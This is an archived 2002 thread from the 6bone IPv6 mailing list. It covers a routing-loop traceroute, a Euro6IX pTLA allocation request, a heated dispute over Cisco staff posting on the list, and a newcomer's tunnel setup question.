> >  5  3ffe:8120::19:1  77.743 ms  77.648 ms  78.07 ms
> >  6  ::128.107.240.254  208.484 ms  208.147 ms  208.297 ms
> >  7  tunnel-stealth-lavanoc.lava.net  283.503 ms 
> 3ffe:81d0:ffff:2::22  220.401 ms
> >   219.823 ms
> >  8  edt-hurricane.ipv6.edisontel.it  241.509 ms 
> 2001:288:3b0::1e  410.271 ms  41
> > 1.955 ms
> >  9  2001:288:3b0::1b  410.547 ms  411.804 ms  411.807 ms
> > 10  3ffe:8120::19:1  338.267 ms  337.184 ms  336.319 ms
> > 11  3ffe:8120::8:2  546.298 ms *  545.426 ms
> > 12  3ffe:c00:8023:2f::1  540.567 ms  540.827 ms 
> ipv6-gw.ipv6.man.poznan.pl  276.
> > 96 ms
> > 13  3ffe:8320:1::  438.038 ms  437.34 ms  436.39 ms
> > 14  3ffe:200:1:61::2  301.057 ms 2001:288:3b0::1e  686.372 
> ms 2001:7f8:2:8016::3
> >   466.067 ms
> > 15  fe-tu0.pao.ipv6.he.net  592.915 ms  660.317 ms  635.527 ms
> > 16  3ffe:81d0:ffff:2::22  523.884 ms  473.015 ms  460.349 ms
> > 17  edt-hurricane.ipv6.edisontel.it  540.591 ms  484.15 ms  
> 484.438 ms
> > 18  3ffe:8120::19:1  503.904 ms  503.959 ms  504.063 ms
> > 19  2001:288:3b0::2  836.366 ms  904.766 ms  944.527 ms
> > 20  2001:288:3b0::1f  835.769 ms  836.396 ms  837.633 ms
> > 21  2001:288:3b0::1e  999.56 ms  1006.61 ms  1003.31 ms
> > 22  2001:288:3b0::1b  836.865 ms  931.304 ms  836.235 ms
> > 23  3ffe:8140:101:5::3  835.866 ms  836.066 ms  837.62 ms
> > 24  pc6.otemachi.wide.ad.jp  836.719 ms  835.717 ms  835.182 ms
> > 25  * KOTsre01-101.nw.v6.odn.ne.jp  888.587 ms  891.257 ms
> > 26  STOsre01-201.nw.v6.odn.ne.jp  890.308 ms  964.177 ms  889.769 ms
> > 27  2001:7f8:2:8016::3  889.739 ms  889.598 ms  889.922 ms
> > 28  fe-tu0.pao.ipv6.he.net  887.98 ms  889.919 ms  886.22 ms
> > 29  3ffe:81d0:ffff:2::22  887.853 ms  885.344 ms  885.198 ms
> > 30  edt-hurricane.ipv6.edisontel.it  958.517 ms  909.741 ms 
>  907.426 ms
> > $


From michel@arneill-py.sacramento.ca.us Mon Aug 12 19:45:22 2002
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Subject: RE: [6bone] routing problem
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Paul,

You have no business coming on the 6bone mailing list or any IETF or
public mailing list with the typical Cisco attitude that says "you
should have asked us first".

A good half of the 6bone mailing has more operational experience with
Cisco routers than most of your team.

I am sorry that you have to pay the consequences of TAC's incompetence,
but I deal with one company (Cisco) not with individuals.

Look at the email archives. Cisco is the only vendor with this attitude
on public mailing lists.

I warn you not to do this too often as I have a huge pile of documented
dirty laundry with Cisco support that nor you neither your management
wants to see washed publicly.


Michel Py
CCIE #6673.


-----Original Message-----
From: Paul Aitken [mailto:paitken@cisco.com] 
Sent: Monday, August 12, 2002 3:34 PM
To: Michel Py
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] routing problem

Michel,

> And maybe the clever thing to do for Cisco would be to understand that
> the reason people come here asking Cisco questions is because they are
> tired of dealing with Cisco support, or the lack of it thereof.

Well I'm sorry if at any time you've felt let down by Cisco Support.

While I can't speak for Cisco TAC, I believe that we, 
ipv6-support@cisco.com, do a very good job of trying to understand each 
individual user's unique situation and work with them to resolve 
whatever issues they're facing.

ipv6-support typically receives around 25 customer emails a week, 
including requests for information, tunnel requests, feature requests 
and bug reports.

Considering that we're not Cisco TAC, we're not a call centre, we 
(allegedly) don't work 24 x 7 (although it's 11.30pm here in Scotland), 
we're a small team and we actually have real development work to do, I 
think it's amazing that we somehow find the time to help customers 
individually.

I don't know many other companies that offer direct access to their 
development engineers. In fact, I know some who charge a lot of money 
for that sort of service.

So please, read the signature below carefully. I'm not a TAC engineer, 
I'm a software engineer working on IPv6 development. Cisco ipv6-support 
is not Cisco TAC. We're a small group of engineers who are enthusiastic 
about developing IPv6 solutions, and we'll do our very best to help you 
with any IPv6 problems.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From gert@Space.Net Tue Aug 13 00:03:59 2002
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Date: Tue, 13 Aug 2002 09:03:56 +0200
From: Gert Doering <gert@space.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Jeroen Massar <jeroen@unfix.org>, "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>,
   "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
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Subject: Re: [6bone] routing problem
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Hi,

On Mon, Aug 12, 2002 at 11:30:32PM +0100, Robert Kiessling wrote:
> "Jeroen Massar" <jeroen@unfix.org> writes:
> > There is one good way: find out the AS's who are 'bad' and depeer them
> > if they don't respond in x time.
> 
> This is easier said than done. How do you find this out definitively?
> 
> Depeering is a big hammer, and you should be sure before you ask for
> this.
> 
> I'm currently trying to collect information about this, but I'm not in
> a position to point fingers to a sinner.

Seconded.  I haven't fully understood yet what really happens in these 
cases, and it's not always the same AS, which makes tracing harder.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From paitken@cisco.com Tue Aug 13 02:01:08 2002
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Michel,

 > You have no business coming on the 6bone mailing list or any IETF or
 > public mailing list with the typical Cisco attitude that says "you
 > should have asked us first".

I didn't (and wouldn't!) say such a thing. What I did say was:

» Then the clever thing to do would be to email some details to
» ipv6-support@cisco.com so we can check it out, eh?

which means that if anyone finds a problem or a bug in cisco kit, but 
doesn't tell cisco about it, there's no way we can help you so it's 
unlikely the bug will be fixed unless we find it during our own testing.

By all means report it to your favourite mailing lists and ask whether 
anyone else has seen this issue, knows a workaround or has a solution - 
but certainly for IPv6 issues, the folks most likely to know about it 
and be able to test and fix it for you are cisco ipv6-support, don't you 
think?

 > A good half of the 6bone mailing has more operational experience with
 > Cisco routers than most of your team.

I don't doubt that you folks have more operational experience. But we
did write the software that you're using.

 > I am sorry that you have to pay the consequences of TAC's
 > incompetence, but I deal with one company (Cisco) not with
 > individuals.

I understand that, and appologise if you feel let down by Cisco TAC. I'm
sure they're doing their best, sometimes in difficult circumstances.

 > Look at the email archives. Cisco is the only vendor with this
 > attitude on public mailing lists.

"Cisco" means thousands of individual people. It's regretable that any
of them exhibit this unfortunate attitude, but I'm sure no company likes 
negative publicity.

I can only speak for our IPv6 implementation, but for what it's worth,
if you think cisco IPv6 sucks, if you have a problem with it, then by
all means tell folks in public forums. But you know, we (cisco) can't do
anything to help you unless and until you send us complete details.
That's why I suggest that contacting us directly would be the best thing
to do in the first place, as it would with any vendor.

 > I warn you not to do this too often

Never have, never will. Please re-examine my original posting. It was an 
encouragement (to Sascha E. Pollok) to send details to us rather than a 
chastisement for posting publically as a first resort.

 > as I have a huge pile of documented dirty laundry with Cisco support
 > that nor you neither your management wants to see washed publicly.

I'm sorry to hear that. Let me know whether you'd like to take this up 
with senior management and I'll see what I can do for you.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From jordi.palet@consulintel.es Tue Aug 13 03:43:50 2002
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Subject: Re: [6bone] pTLA request by Euro6IX project for exchange experimentation - review closes 3 Sep 2002
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Hi all,

See my replies below.

Regards,
Jordi

----- Original Message -----
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <fink@es.net>; "6BONE List" <6bone@mailman.isi.edu>
Cc: "Jordi Palet Martinez" <jordi.palet@consulintel.es>
Sent: Monday, August 12, 2002 8:27 PM
Subject: RE: [6bone] pTLA request by Euro6IX project for exchange experimentation - review closes 3 Sep 2002


> Jordi / Bob / 6boner,
>
> I have some specific questions about this:
>
> 1. Question regarding allocations/assignments within the Euro6IX pTLA:
>
> My understanding is that this pTLA would be used for IX infrastructure,
> which means routers physically present in one of the IXes, links between
> them, router loopbacks, common peering subnets, that kind of thing. Am I
> correct?

Not only for infrastructure, it will be used also to experiment the address delegation from IX to ISP's and direct attached
customers.

>
> The question is: what block size are you planning on allocating to whom?
> For example, are your planning on allocating a /48 to each IX, and let
> the IX assign subnets to participants? Are you planning multiple levels
> of aggregation (such as a /40 per country)?

We will do some experimentation, but in principle we could follow /40 per country (nevertheless right now there is only a single IX
per country in our project), and /48 for each IX, and so on for ISP's (including the project participants), customers, ... But in
general, of course, we will like to plan multiples levels as much structured/hierarchical as possible.

>
> 2. Question about the consequences on the global IPv6 routing table.
>
> What will we see in the global routing table WRT the Euro6IX pTLA? The
> question is actually more like what are the consequences if everyone
> (except Euro6IX IXes peering between themselves) is applying the
> "STRICT" route map that has been discussed recently.
>
> If all we shall see in the global routing table is the Euro6IX pTLA
> aggregate, I am curious to know who will announce it, and if you plan to
> have each IX announce it as a proxy/pseudo anycast route.

We plan to announce only the pTLA from a single entity, as the project behaves as a single "entity" (or network or whatever you want
to call it). The pTLA will be announced by the entity who receives it in behalf of the complete project.

Anyway, in general, remember that this is a R&D project and we could try several approaches during the project life time, if it make
sense.

>
> Thanks
> Michel.
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From tvo@EnterZone.Net Tue Aug 13 07:54:27 2002
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Subject: [6bone] Problems at AS8002?
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Is Stealth having problems today?  I notice that our peering session is
down and "sh ipv6 bgp regexp 8002" shows all paths to 8002 as about 16
AS's long!  It would appear that 8002's main peering router(s) are down
and what I'm seeing are ghosts.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jordi.palet@consulintel.es Tue Aug 13 08:08:25 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
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Subject: Re: [6bone] pTLA request by Euro6IX project for exchangeexperimentation - review closes 3 Sep 2002
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Hi Nicolas,

See below.

Regards,
Jordi

----- Original Message -----
From: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
Cc: "Bob Fink" <fink@es.net>; "6BONE List" <6bone@mailman.isi.edu>; "Jordi PaletMartinez" <jordi.palet@consulintel.es>
Sent: Monday, August 12, 2002 9:31 PM
Subject: RE: [6bone] pTLA request by Euro6IX project for exchangeexperimentation - review closes 3 Sep 2002


> On Mon, 2002-08-12 at 20:27, Michel Py wrote:
> Michel / Jordi / Bob / 6boner,
>
> > I have some specific questions about this:
> >
> > 1. Question regarding allocations/assignments within the Euro6IX pTLA:
> >
> > My understanding is that this pTLA would be used for IX infrastructure,
> > which means routers physically present in one of the IXes, links between
> > them, router loopbacks, common peering subnets, that kind of thing. Am I
> > correct?
> >
> > The question is: what block size are you planning on allocating to whom?
> > For example, are your planning on allocating a /48 to each IX, and let
> > the IX assign subnets to participants? Are you planning multiple levels
> > of aggregation (such as a /40 per country)?
>
> Why IX don't use the Global IPv6 Internet Exchange Points Assignments
> made by the RIR ?

The main reason is that the Euro6IX project hasn't a legal entity, so can't receive from the RIR (RIPE) the prefix. The only way
will be one of the Telcos to get it and provide to the project, and this has some commercial drawbacks.

But there are some additional reasons. 1st, this is an R&D project, so it make sense to apply in the 6Bone. Also, it doesn't make
sense to have a /48 from the complete network, while a single IX can already receive a /48 from the RIRs. The solution will be to
ask for one /48 for each IX, but then we lose the "complete network" prefix concept, and couldn't be aggregated in a single one.

>
> >
> > 2. Question about the consequences on the global IPv6 routing table.
> >
> > What will we see in the global routing table WRT the Euro6IX pTLA? The
> > question is actually more like what are the consequences if everyone
> > (except Euro6IX IXes peering between themselves) is applying the
> > "STRICT" route map that has been discussed recently.
> >
> > If all we shall see in the global routing table is the Euro6IX pTLA
> > aggregate, I am curious to know who will announce it, and if you plan to
> > have each IX announce it as a proxy/pseudo anycast route.
> >
>
> I think that it will be like the AMS-IX pTLA
> (http://whois.6bone.net/cgi-bin/whois?ams-ix).

More or less, but with the main difference that Euro6IX is not a single IX, but a network of IX's.

>
> Best regards,
>
> Nicolas DEFFAYET
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From joao@ripe.net Tue Aug 13 08:32:40 2002
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Date: Tue, 13 Aug 2002 17:32:28 +0200
To: <6bone@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] pTLA request by Euro6IX project for
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Hi 6bone'rs,

a bit of this message got me thinking and I would really like some 
input from this group on the exact meaning and intention of R&D in 
the context of the 6bone.

Is R&D in the context of the 6bone:

A) R&D in new IPv6 protocol or transition mechanism features?
B) R&D  as experimentation in the context of deployment within an ISP 
or other network operator?
C) R&D un-related to IPv6, such as work done at an R&D institution 
(University or corporate research center, for instance)?
D) R&D related to applications which might benefit from using IPv6 as 
transport?

Note: With these questions I am not questioning this particular case, 
just looking for clarification in the context of the 6Bone.


At 17:11 +0200 13/8/02, JORDI PALET MARTINEZ wrote:
...

>But there are some additional reasons. 1st, this is an R&D project, 
>so it make sense to apply in the 6Bone. Also, it doesn't make
...

Regards,
Joao

From michel@arneill-py.sacramento.ca.us Tue Aug 13 08:49:05 2002
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Subject: RE: [6bone] pTLA request by Euro6IX project for exchange experimentation - review closes 3 Sep 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Bob /Jordi / 6boner,

In the light of Jordi's reply, I am favorable to the request. However, I
am not sure I read Bob correctly.

> Bob Fink wrote:
> I would also appreciate discussion of any considerations
> that we should be aware of as a 6bone test project.

Bob, do you consider Euro6IX to be a "special" pTLA?

The point I am trying to make here is related to the Teredo request and
the points that Thomas and myself brought back then. I was wondering if
Euro6IX should be placed in the same situation.

My line of thinking is that "special" requests need to have a "special"
consequence on 6bone routing, which certainly applies to Teredo and geo
addresses.

However, in Euro6IX' case, I don't see what granting them a pTLA changes
for my view of the routing table.

Reading Joao's post that just came in, I think that it might be a good
time to clarify/change the definition of pTLA and write the definition
of "special purpose" 6bone block. Please keep this in mind when
finishing the RIR proposal.

Michel.

From jordi.palet@consulintel.es Tue Aug 13 08:58:49 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
References:  <2B81403386729140A3A899A8B39B046405E26A@server2000.arneill-py.sacramento.c a.us> <1029180716.1358.263.camel@wks1-1.corp.ndsoftware.com> <00ec01c242db$a9106450$8700000a@consulintel.es> <p05111731b97ed54ef07c@[193.0.1.186]>
Subject: Re: [6bone] pTLA request by Euro6IX project for exchangeexperimentation - review closes 3 Sep 2002
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Hi Joao, all,

The answer is A, B and D :-)

Please, see some slides about the project and the IX concept at http://www.ipv6.or.kr/summit/presentation/III-2.pdf.

Regards,
Jordi

----- Original Message ----- 
From: "Joao Luis Silva Damas" <joao@ripe.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, August 13, 2002 5:32 PM
Subject: Re: [6bone] pTLA request by Euro6IX project for exchangeexperimentation - review closes 3 Sep 2002


> Hi 6bone'rs,
> 
> a bit of this message got me thinking and I would really like some 
> input from this group on the exact meaning and intention of R&D in 
> the context of the 6bone.
> 
> Is R&D in the context of the 6bone:
> 
> A) R&D in new IPv6 protocol or transition mechanism features?
> B) R&D  as experimentation in the context of deployment within an ISP 
> or other network operator?
> C) R&D un-related to IPv6, such as work done at an R&D institution 
> (University or corporate research center, for instance)?
> D) R&D related to applications which might benefit from using IPv6 as 
> transport?
> 
> Note: With these questions I am not questioning this particular case, 
> just looking for clarification in the context of the 6Bone.
> 
> 
> At 17:11 +0200 13/8/02, JORDI PALET MARTINEZ wrote:
> ...
> 
> >But there are some additional reasons. 1st, this is an R&D project, 
> >so it make sense to apply in the 6Bone. Also, it doesn't make
> ...
> 
> Regards,
> Joao
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From jordi.palet@consulintel.es Tue Aug 13 09:33:47 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
References: <B97EFFAA.15F55%arien.vijn@ams-ix.net>
Subject: Re: [6bone] pTLA request by Euro6IX project forexchangeexperimentation - review closes 3 Sep 2002
Date: Tue, 13 Aug 2002 18:36:42 +0200
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Hi,

Yes, this is one of the points that we consider. In our project, new business models will be developed, including new services in
the IX. Of course, as you say, we see a model where the IX network can purchase/sell upstream, and this is not accepted by all the
project partners, because the commercial implications.

I believe the new services that can be offered, will compensate it, commercially speaking.

But fortunately in the project the commercial issues are apart.

Regards,
Jordi

----- Original Message -----
From: "Arien Vijn" <arien.vijn@ams-ix.net>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>; <6bone@ISI.EDU>
Sent: Tuesday, August 13, 2002 6:25 PM
Subject: Re: [6bone] pTLA request by Euro6IX project forexchangeexperimentation - review closes 3 Sep 2002


> Hi Jordi,
>
> On 13-08-2002 17:11PM, "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
> wrote:
>
> [..]
>
> >
> > More or less, but with the main difference that Euro6IX is not a single IX,
> > but a network of IX's.
>
> Apart from the R&D and IPv6 aspects. What is the difference between Euro6IX
> and a carrier?
>
> Exchange-based aggregation as described in RFC2374 does not work unless the
> IXP provides (buys) upstream for all it's members. Which might not be
> acceptable for many upstream providers. They might (will, I think) see this
> as competition. Did you consider the competition aspects?
>
> Kind regards, Arien
>
>
> --
>
> Arien Vijn
> Amsterdam Internet Exchange
> http://www.ams-ix.net
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From arien+6bone@ams-ix.net Tue Aug 13 09:35:48 2002
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Subject: Re: [6bone] pTLA request by Euro6IX project for
	exchangeexperimentation - review closes 3 Sep 2002
From: Arien Vijn <arien+6bone@ams-ix.net>
To: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
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Hi Jordi,

On 13-08-2002 17:11PM, "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
wrote:

[..]

> 
> More or less, but with the main difference that Euro6IX is not a single IX,
> but a network of IX's.

Apart from the R&D and IPv6 aspects. What is the difference between Euro6IX
and a carrier? 

Exchange-based aggregation as described in RFC2374 does not work unless the
IXP provides (buys) upstream for all it's members. Which might not be
acceptable for many upstream providers. They might (will, I think) see this
as competition. Did you consider the competition aspects?

Kind regards, Arien


-- 

Arien Vijn
Amsterdam Internet Exchange
http://www.ams-ix.net


From fink@es.net Tue Aug 13 09:44:37 2002
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   "6BONE List" <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Subject: RE: [6bone] pTLA request by Euro6IX project for exchange
  experimentation - review closes 3 Sep 2002
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Michel,

At 08:48 AM 8/13/2002 -0700, Michel Py wrote:
>Bob /Jordi / 6boner,
>
>In the light of Jordi's reply, I am favorable to the request. However, I
>am not sure I read Bob correctly.
>
> > Bob Fink wrote:
> > I would also appreciate discussion of any considerations
> > that we should be aware of as a 6bone test project.
>
>Bob, do you consider Euro6IX to be a "special" pTLA?

I don't, but someone else might see something we need to consider.


>The point I am trying to make here is related to the Teredo request and
>the points that Thomas and myself brought back then. I was wondering if
>Euro6IX should be placed in the same situation.

Again, I don't thinks so, but would like folks to have a chance to comment.


>My line of thinking is that "special" requests need to have a "special"
>consequence on 6bone routing, which certainly applies to Teredo and geo
>addresses.
>
>However, in Euro6IX' case, I don't see what granting them a pTLA changes
>for my view of the routing table.

Agree.


>Reading Joao's post that just came in, I think that it might be a good
>time to clarify/change the definition of pTLA and write the definition
>of "special purpose" 6bone block. Please keep this in mind when
>finishing the RIR proposal.

Don't understand what you have in mind here.


Thanks,

Bob


From fink@es.net Tue Aug 13 09:44:39 2002
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From: Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA request by Euro6IX project for
  exchangeexperimentation - review closes 3 Sep 2002
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At 05:32 PM 8/13/2002 +0200, Joao Luis Silva Damas wrote:
>Hi 6bone'rs,
>
>a bit of this message got me thinking and I would really like some input 
>from this group on the exact meaning and intention of R&D in the context 
>of the 6bone.
>
>Is R&D in the context of the 6bone:
>
>A) R&D in new IPv6 protocol or transition mechanism features?

Yes, both.


>B) R&D  as experimentation in the context of deployment within an ISP or 
>other network operator?

Yes.


>C) R&D un-related to IPv6, such as work done at an R&D institution 
>(University or corporate research center, for instance)?

Nope.


>D) R&D related to applications which might benefit from using IPv6 as 
>transport?

Yes.


>Note: With these questions I am not questioning this particular case, just 
>looking for clarification in the context of the 6Bone.


Thanks,

Bob


From michel@arneill-py.sacramento.ca.us Tue Aug 13 10:14:25 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Bob,

>> Michel Py wrote:
>> The point I am trying to make here is related to the Teredo
>> request and the points that Thomas and myself brought back
>> then. I was wondering if Euro6IX should be placed in the same
>> situation.

> Bob Fink wrote:
> Again, I don't thinks so, but would like folks to have a
> chance to comment.

Thanks for asking. In this specific case, I do not think that Euro6IX
should be treated differently than any other pTLA as there are no
consequences on the global routing table.


>> Reading Joao's post that just came in, I think that it might
>> be a good time to clarify/change the definition of pTLA and
>> write the definition of "special purpose" 6bone block. Please
>> keep this in mind when finishing the RIR proposal.

> Don't understand what you have in mind here.

As Jordi mentioned before (answering Nicolas' question), the reason
Euro6IX did not get a prefix from their RIR is because they don't have a
legal entity. This might become an issue when the 6bone goes into RIR's
hands.

Just my brain spinning freely, you might want to consider at least three
categories of requests for the future 6bone/RIR:

- pTLAs as we know them today.
- Works like a pTLA (read: only one route in the global routing table)
but without a legal entity, such as Euro6IX.
- "Special purpose" such as geo addresses that need to be studied on a
per-case basis.

Note that one of the reasons I bring this legal entity issue is
self-serving: I don't know what I would do if I needed one to send you
the request for geo addresses that I am preparing ;-)


Michel.


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Subject: RE: Cisco support (was [6bone] routing problem)
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Paul Aitken wrote:
> "Cisco" means thousands of individual people. It's regrettable
> that any of them exhibit this unfortunate attitude, but I'm
> sure no company likes negative publicity.

You don't get it, do you. What if individuals that happen to work for
Microsoft came posting each time someone said "Microsoft sucks" on a
public forum?

Fortunately, Microsoft employees don't. This is not a place for vendors
to try to convince the audience that they do not suck, and this applies
to Cisco as well as everyone else.

People that post here typically know what Cisco's IPv6 support email
address is; if they feel like contacting Cisco support they will do it
on their own and I say again that you have no business reminding it
publicly to the list.

Michel.


From paitken@cisco.com Tue Aug 13 11:24:10 2002
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Michel,

> You don't get it, do you. What if individuals that happen to work for
> Microsoft came posting each time someone said "Microsoft sucks" on a
> public forum?

Sure, it'd be a pain. But if Microsoft had an email address for 
reporting IPv6 bugs that perhaps folks didn't know about, then I for one 
would sure like to know so I could send my report there in the hope that 
someone would look at it and maybe do something about it. (Well, I would 
if I used Windows).

But, as far as I know - and I stand ready to be corrected here - 
Microsoft doesn't offer you the same level of direct access to their 
developers that Cisco does. Good for them if they do; I'd like to hear 
about it because sometimes folks as us (cisco) whether we know how to 
configure IPv6 stuff on a windows box.

> People that post here typically know what Cisco's IPv6 support email
> address is

Possibly true, but interestingly enough we just received a few emails 
(some to me, some to ipv6-support) in the vein "well now I know who to 
ask, let me ask you this..." - which I think is great because instead of 
sitting out there completely stuck, folks now know a place they can ask 
their question and (I hope) receive a sensible answer.

> if they feel like contacting Cisco support they will do it
> on their own and I say again that you have no business reminding it
> publicly to the list.

Well, hopefully next time someone finds their cisco router doing 
something unusual IPv6 wise and posts here, some non-cisco person will 
say "hey, you know you can get right in touch with the guys that wrote 
that stuff and ask them about it".

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From michel@arneill-py.sacramento.ca.us Tue Aug 13 12:03:37 2002
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Subject: RE: Cisco support (was [6bone] routing problem)
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> What kind of an attitude is this? Someone has a problem,
> an employee of the vendor jumps in and offers to help them,
> and you COMPLAIN? Employees of vendors have the same right
> to participate on a mailing list as the rest of the world...
> If someone offers to help, you should be glad!

We have a word for this kind of people: Trolls. And they troll not to
help, but because someone said something about their precious product
being less than perfect, heaven forbid.

> Hey folks,
> while this is definitely funny:
> cr4.hamburg1#sh bgp ipv6 2001:610::/35
> BGP routing table entry for 2001:610::/35, version 201014
> Paths: (0 available, no best path)
> Flag: 0x820
>  Advertised to peer-groups:
>     PEERS
> Isn't it? As you see, the cisco knows the path
> but does not know any paths towards the destination :-)
> -Sascha

Note that Sascha never asked for help. The only reason Cisco jumped in
is to try to diffuse the consequences of a Cisco bug being posted to a
public list.

Just added to my personal troll list: paitken@cisco.com
(No match for Jim Fleming, though).
My, I hope they don't develop IPv8 together. Scary thought.


Michel.


From gert@Space.Net Tue Aug 13 12:50:47 2002
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Hi,

On Tue, Aug 13, 2002 at 10:46:37AM -0700, Michel Py wrote:
> > Paul Aitken wrote:
> > "Cisco" means thousands of individual people. It's regrettable
> > that any of them exhibit this unfortunate attitude, but I'm
> > sure no company likes negative publicity.
> 
> You don't get it, do you. What if individuals that happen to work for
> Microsoft came posting each time someone said "Microsoft sucks" on a
> public forum?

If those individuals offer technical advertise, and offer to actually 
work with you to *fix* those issues that are appearing, I will warmly
welcome those Microsoft individuals.

> Fortunately, Microsoft employees don't. This is not a place for vendors
> to try to convince the audience that they do not suck, and this applies
> to Cisco as well as everyone else.
> 
> People that post here typically know what Cisco's IPv6 support email
> address is; if they feel like contacting Cisco support they will do it
> on their own and I say again that you have no business reminding it
> publicly to the list.

I disagree.  The ipv6-support address is *not* well-known, unless you
happen to be one of the Cisco IPv6 EFT beta testers (which I am, so
I know about it) - I am sure that Sascha will appreciate the direct
contact into Cisco IPv6 development.

The fact that *you* seem to have a big problem with Cisco in general
and every single person that works for Cisco doesn't mean everybody
else agrees with you.

I *want* vendor contacts that actually care about fixing things in their
software or hardware.  And I *want* vendor contacts to read *and write*
on public mailing lists that happen to see problem reports about their
stuff here and then.  Be it Cisco, Juniper, everybody else.  (Well, in
this place "... as long as it is IPv6 related").

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From vaxzilla@jarai.org Tue Aug 13 12:58:43 2002
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Does using IPv6 often have a tendency to cause people to foam copiously
at the mouth?  As only a casual observer, with an interest in learning
more about IPv6, my impression from recent list mailings is that its use
causes an acute form madness, one which involves unnecessary ranting and
verbal hostility.

-brian.


From pekkas@netcore.fi Tue Aug 13 14:10:56 2002
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On Tue, 13 Aug 2002, Michel Py wrote:
> Just added to my personal troll list: paitken@cisco.com 
> (No match for Jim Fleming, though). 

Some may have an entirely different opinion who was productive and who was
not.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jeroen@unfix.org Tue Aug 13 15:52:31 2002
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Paul Aitken wrote:

> But, as far as I know - and I stand ready to be corrected here - 
> Microsoft doesn't offer you the same level of direct access to their 
> developers that Cisco does. Good for them if they do; I'd 
> like to hear about it because sometimes folks as us (cisco) whether we
know how to 
> configure IPv6 stuff on a windows box.

http://www.microsoft.com/ipv6/
http://research.microsoft.com/msripv6/
http://research.microsoft.com/msripv6/msripv6.htm

Mailing List: We have a mailing list,
msripv6-users@list.research.microsoft.com, for discussion among
interested users of our implementation. To join the list, send mail to
listserv@list.research.microsoft.com with the command 
subscribe msripv6-users yourfirstname yourlastname 
We also have an alias for bug reports:
msripv6-bugs@list.research.microsoft.com. 
And that list works perfectly well

http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp

"Windows .NET Server and beyond - The next version of Windows will
include the first fully-supported release of the Microsoft IPv6 stack."

msripv6@microsoft.com

All found on hs247.com ofcourse.
BTW: Linux doesn't have a working IPsec6 by default, Windows has... so
stop moaning all ;)

And will everybody please stop throwing the bully ball over and
concentrate on IPv6 again ?

Greets,
 Jeroen


From anarchyz@op3r.net Tue Aug 13 16:03:05 2002
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I have a quick quesion, i setup tsp from (Freenet6) and ran it, then i got 
this .

gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
         tunnel inet my.wan.ip.bla (x.x.x.x) --> 206.123.31.114
         inet6 fe80::250:daff:fe66:503b%gif0 prefixlen 64 scopeid 0x3
         inet6 3ffe:b80:2:be15::2 --> 3ffe:b80:2:be15::1 prefixlen 128

so i assume that it was setup correctly, but i cannot ping my ipv6 addy 
above, so im not sure if its config'd properly or not.  I think my router 
is blocking requests, because i am behind a rouer w/ NAT.  And i think i 
can go into my router and edit the "static routing setup", something about 
a static route would fix this problem.  Anyone got any easy solutions? I 
hope i made sense......
heres my routing setup that i believe i can edit to make this work

Menu 12.1 - Edit IP Static Route

                     Route #: 1
                     Route Name= ?
                     Active= No
                     Destination IP Address= ?
                     IP Subnet Mask= ?
                     Gateway IP Address= ?
                     Metric= 2
                     Private= No


From jon@jons.org Tue Aug 13 17:24:02 2002
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Hello,

On Tue, Aug 13, 2002 at 10:46:37AM -0700, Michel Py wrote:
> > Paul Aitken wrote:
> > "Cisco" means thousands of individual people. It's regrettable
> > that any of them exhibit this unfortunate attitude, but I'm
> > sure no company likes negative publicity.
> 
> You don't get it, do you. What if individuals that happen to work for
> Microsoft came posting each time someone said "Microsoft sucks" on a
> public forum?

[snip]

